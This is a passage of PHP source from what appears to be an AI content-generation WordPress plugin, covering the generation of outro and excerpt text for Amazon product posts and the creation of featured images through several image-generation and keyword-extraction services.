                                    $my_outro_prompt = aiomatic_replace_amazon($my_outro_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    if(stristr($run_regex_on, 'outro') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_outro_prompt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_outro_prompt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_outro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon outro'));
                                        $written = aiomatic_write_content($my_outro_prompt, $topic_outro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'outro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate outro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            if($title_outro !== '')
                                            {
                                                if($my_title_outro != '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="outro">' . $my_title_outro . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="outro">' . $my_title_outro . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="outro">' . $my_title_outro . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="outro">' . $my_title_outro . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="outro">' . $my_title_outro . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="outro">' . $my_title_outro . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="outro">' . $my_title_outro . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_outro . '<br/>';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                $new_post_content .= '<br/><br/>';
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed outro prompt. Nothing to do.');
                                    }
                                }
                                if($new_post_content == '')
                                {
                                    aiomatic_log_to_file("Warning, empty post content because of empty content prompt!");
                                }
            
                                $new_post_excerpt = '';
                                $current_section = implode(',', $post_sections);
                                if($excerpt_prompt != '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $excerpt_prompt_arr = preg_split('/\r\n|\r|\n/', $excerpt_prompt);
                                        $my_post_excerpt = $excerpt_prompt_arr[array_rand($excerpt_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_post_excerpt = $excerpt_prompt;
                                    }
                                    $my_post_excerpt = aiomatic_replace_amazon($my_post_excerpt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, implode(',' , $post_sections), $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count, $amazresult);
                                    if(stristr($run_regex_on, 'excerpt') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_excerpt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_post_excerpt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_post_excerpt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon excerpt'));
                                        $written = aiomatic_write_content($my_post_excerpt, $topic_excerpt_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'excerpt', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate excerpt!');
                                        }
                                        else
                                        {
                                            $new_post_excerpt = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed excerpt prompt. Nothing to do.');
                                    }
                                }
            
                                $get_img = '';
                                if($royalty_free == '1')
                                {
                                    if($enable_ai_images == '1')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 400)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $image_model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $aierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image'));
                                                $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model);
                                                if($get_img !== false)
                                                {
                                                    foreach($get_img as $tmpimg)
                                                    {
                                                        $get_img = $tmpimg;
                                                        break;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '2')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Stability.AI';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Stable Diffusion image'));
                                                $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '4')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Midjourney';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1792x1024')
                                                {
                                                    $width = '1792';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1024x1792')
                                                {
                                                    $width = '1024';
                                                    $height = '1792';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Midjourney image'));
                                                $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', $skip_this_copy, $ierror);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '3')
                                    {
                                        if ($image_url != '') 
                                        {
                                            $replacement = str_replace(array('[', ']'), '', $query_words);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($post_title, $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                                if($img_rulx != '')
                                                {
                                                    $get_img = $img_rulx;
                                                }
                                            }
                                            else
                                            {
                                                $get_img = $selected_img;
                                            }
                                        }
                                    }
                                    else
                                    {
                                        $image_query_set = false;
                                        $query_words = '';
                                        $ai_command_image = '';
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if($ai_command_image != '')
                                        {
                                            $query_words = $ai_command_image;
                                            $image_query = $ai_command_image;
                                            $image_query_set = true;
                                        }
                                        if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                        {
                                            if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                            {
                                                try
                                                {
                                                    if(!class_exists('TextRazor'))
                                                    {
                                                        require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                    }
                                                    TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                    $textrazor = new TextRazor();
                                                    $textrazor->addExtractor('entities');
                                                    $response = $textrazor->analyze($image_query);
                                                    if (isset($response['response']['entities'])) 
                                                    {
                                                        foreach ($response['response']['entities'] as $entity) 
                                                        {
                                                            $query_words = '';
                                                            if(isset($entity['entityEnglishId']))
                                                            {
                                                                $query_words = $entity['entityEnglishId'];
                                                            }
                                                            else
                                                            {
                                                                $query_words = $entity['entityId'];
                                                            }
                                                            if($query_words != '')
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $get_img = $z_img;
                                                                    $go_local_image = false;
                                                                    if(!function_exists('is_plugin_active'))
                                                                    {
                                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                    }
                                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                    {
                                                                        $go_local_image = true;
                                                                    }
                                                                    if($go_local_image == true)
                                                                    {
                                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                                        if($localpath !== false)
                                                                        {
                                                                            $get_img = $localpath[0];
                                                                        }
                                                                    }
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                catch(Exception $e)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                    }
                                                }
                                            }
                                        }
                                        elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                        {
                                            if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                {
                                                    $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                }
                                                else
                                                {
                                                    $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                {
                                                    $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                }
                                                else
                                                {
                                                    $keyword_assistant_id = '';
                                                }
                                                $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command);
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                    $title_ai_command = array_filter($title_ai_command);
                                                    if(count($title_ai_command) > 0)
                                                    {
                                                        $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                    }
                                                    else
                                                    {
                                                        $title_ai_command = '';
                                                    }
                                                }
                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                if(!empty($title_ai_command))
                                                {
                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($title_ai_command);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $title_ai_command = $txt_content;
                                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                    $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled:  ' . trim(strip_tags($post_title));
                                                }
                                                if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                {
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true));
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($title_ai_command));
                                                    $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                    {
                                                        $string_len = strlen($title_ai_command);
                                                        $string_len = $string_len / 2;
                                                        $string_len = intval(0 - $string_len);
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                        $title_ai_command = trim($title_ai_command);
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = $max_tokens - $query_token_count;
                                                    }
                                                    $aierror = '';
                                                    $finish_reason = '';
                                                    if(!empty($global_prepend))
                                                    {
                                                        $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                    }
                                                    if(!empty($global_append))
                                                    {
                                                        $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command);
                                                    }
                                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free keywords'));
